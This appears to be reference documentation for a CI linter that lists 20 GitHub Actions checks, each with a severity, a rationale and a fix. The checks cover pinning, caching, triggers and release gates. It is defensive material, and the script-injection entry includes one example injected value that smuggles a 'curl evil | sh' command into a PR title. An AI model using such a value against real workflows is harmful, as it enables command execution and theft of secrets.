CI / release¶
GitHub Actions checks: install reproducibility, toolchain version drift, and release-pipeline correctness (tests/analysis before publish, no debug/dev artifacts). Secrets are never resolved and are redacted in evidence.
20 checks.
ci-action-unpinned-ref¶
Severity: Low
A mutable action ref lets whoever controls the tag swap in new code with no diff in your repo — a supply-chain foothold that runs with your workflow secrets (tj-actions CVE-2025-30066).
How to fix: Pin each third-party action to a full commit SHA (uses: owner/action@<40-char-sha>), with the tag in a trailing comment. Dependabot / pinact can automate this.
ci-cache-key-missing-lockfile¶
Severity: Low
A cache key not derived from the lockfile can serve a stale dependency cache after the lockfile changes, masking version drift or breaking the build.
How to fix: Include the lockfile in the cache key, e.g. key: ${{ runner.os }}-deps-${{ hashFiles('**/package-lock.json') }}.
ci-cache-key-too-broad¶
Severity: Low
Hashing the whole tree changes the cache key on almost every build (any generated or touched file busts it), so the cache is written but effectively never restored — dependencies re-download every run.
How to fix: Narrow the key to the lockfile(s), e.g. key: ${{ runner.os }}-gradle-${{ hashFiles('/.gradle', '/gradle-wrapper.properties') }}.
ci-dangerous-trigger-untrusted-checkout¶
Severity: Medium
pull_request_target and workflow_run run with the base repo's read/write GITHUB_TOKEN, its secrets, and default-branch cache write access. Building or running PR/fork code fetched under them can exfiltrate secrets or poison the cache — a potential repo takeover, with the build still green.
How to fix: Do not build/run untrusted code under pull_request_target/workflow_run. Split the job: run untrusted code in a plain pull_request workflow (no secrets), and keep the privileged trigger for steps that only need metadata. If a checkout is unavoidable, gate it behind a label/permission check and treat the token as untrusted.
ci-flutter-version-drift¶
Severity: Low
Different Flutter versions across CI jobs build/test against different toolchains, so a green check on one job does not guarantee the others.
How to fix: Pin one Flutter version across all workflows (shared env var, matrix include, or version file).
ci-java-version-drift¶
Severity: Low
Different Java versions across CI jobs can produce class-version mismatches and inconsistent builds.
How to fix: Pin one Java version across all workflows.
ci-low-trust-cache-write-risk¶
Severity: Medium
pull_request_target and workflow_run run with write access to the default-branch cache while processing attacker-influenced PR/fork input. A cache entry poisoned here is later restored by trusted builds, so malicious content flows into the main pipeline — cache poisoning, with the run still green.
How to fix: Do not write the cache under pull_request_target/workflow_run. Restore read-only (actions/cache/restore) under privileged triggers, and only save the cache from a trusted plain pull_request/push job. Scope cache keys so untrusted runs cannot overwrite trusted entries.
ci-quality-gate-continue-on-error¶
Severity: Medium
A quality gate that never fails the build is no gate at all — broken tests, lint errors, or failed analysis pass unnoticed and the pipeline stays green.
How to fix: Remove continue-on-error (or the || true) from verification steps; keep it only on genuinely best-effort steps (uploads, cleanup, notifications).
ci-release-builds-debug-artifact¶
Severity: Medium
A debug artifact is unoptimized, larger, and may expose debuggable internals — it must never be what gets published.
How to fix: Build the release configuration on the release path (assembleRelease / bundleRelease, flutter build --release, -configuration Release).
ci-release-gate-order-drift¶
Severity: Low
If the gate runs after the publish step, a broken artifact is already shipped by the time the check fails.
How to fix: Reorder steps so tests/lint run and pass before the publish/upload step.
ci-release-uses-development-config¶
Severity: Low
Shipping a release built with a dev/staging flavor can point the app at non-production backends or enable debug behavior in production.
How to fix: Use the production flavor/configuration on the release path; gate dev/staging builds to non-release workflows.
ci-release-without-static-analysis¶
Severity: Low
Static analysis catches a class of defects before release; skipping it on the release path lets analyzer-detectable issues ship.
How to fix: Add a lint/analyze step (flutter analyze, ktlint/detekt, swiftlint, eslint) to the release path.
ci-release-without-tests¶
Severity: Medium
Shipping without a test gate means a regression goes straight to users — the release pipeline should fail before publishing, not after.
How to fix: Run the test suite before the publish step, or make the release job depend on a test job via needs.
ci-script-injection-untrusted-input¶
Severity: High
The value becomes part of the generated script source, so a crafted title/branch/comment like a"; curl evil | sh; " executes arbitrary commands with the workflow's GITHUB_TOKEN and secrets — command injection with a green build.
How to fix: Bind the expression to an intermediate env: variable and reference it as a quoted shell variable (env: TITLE: ${{ github.event.pull_request.title }} … run: echo "$TITLE"), or pass it as an argument to a JS action. Never interpolate ${{ … }} untrusted input directly into run:.
ci-test-timeout-missing¶
Severity: Low
A hung emulator, pod install, or Gradle daemon then wedges the job for up to 6 hours — burning runner minutes and blocking the queue instead of failing fast.
How to fix: Add a realistic timeout-minutes: to each test/build job (e.g. 20–30 for unit tests, higher for device/emulator jobs).
ci-toolchain-version-unpinned¶
Severity: Low
An unpinned toolchain means the build silently moves to a new Node/Java/Flutter version when the runner image updates — a classic source of surprise breakages.
How to fix: Pin an explicit version (node-version / java-version / flutter-version), ideally via a version file checked into the repo.
ci-unlocked-cocoapods-install¶
Severity: Low
pod update in CI ignores the committed Podfile.lock, producing non-reproducible pod versions.
How to fix: Use pod install (honors Podfile.lock) in CI; run pod update deliberately and commit the updated lock.
ci-unlocked-flutter-install¶
Severity: Low
pub upgrade in CI defeats the lockfile, so each run can pull different dependency versions.
How to fix: Use flutter pub get (honors pubspec.lock) in CI; run pub upgrade deliberately and commit the updated lock.
ci-unlocked-node-install¶
Severity: Medium
Installing without a frozen lockfile lets transitive versions drift between CI runs and from local — builds become non-reproducible and "works on my machine" bugs slip through.
How to fix: Use npm ci, yarn install --frozen-lockfile, or pnpm install --frozen-lockfile in CI, and commit the lockfile.
ci-xcode-version-drift¶
Severity: Low
Different Xcode versions across CI jobs build against different SDKs, so results are not comparable and releases can differ from what was tested.
How to fix: Pin one Xcode version across all workflows.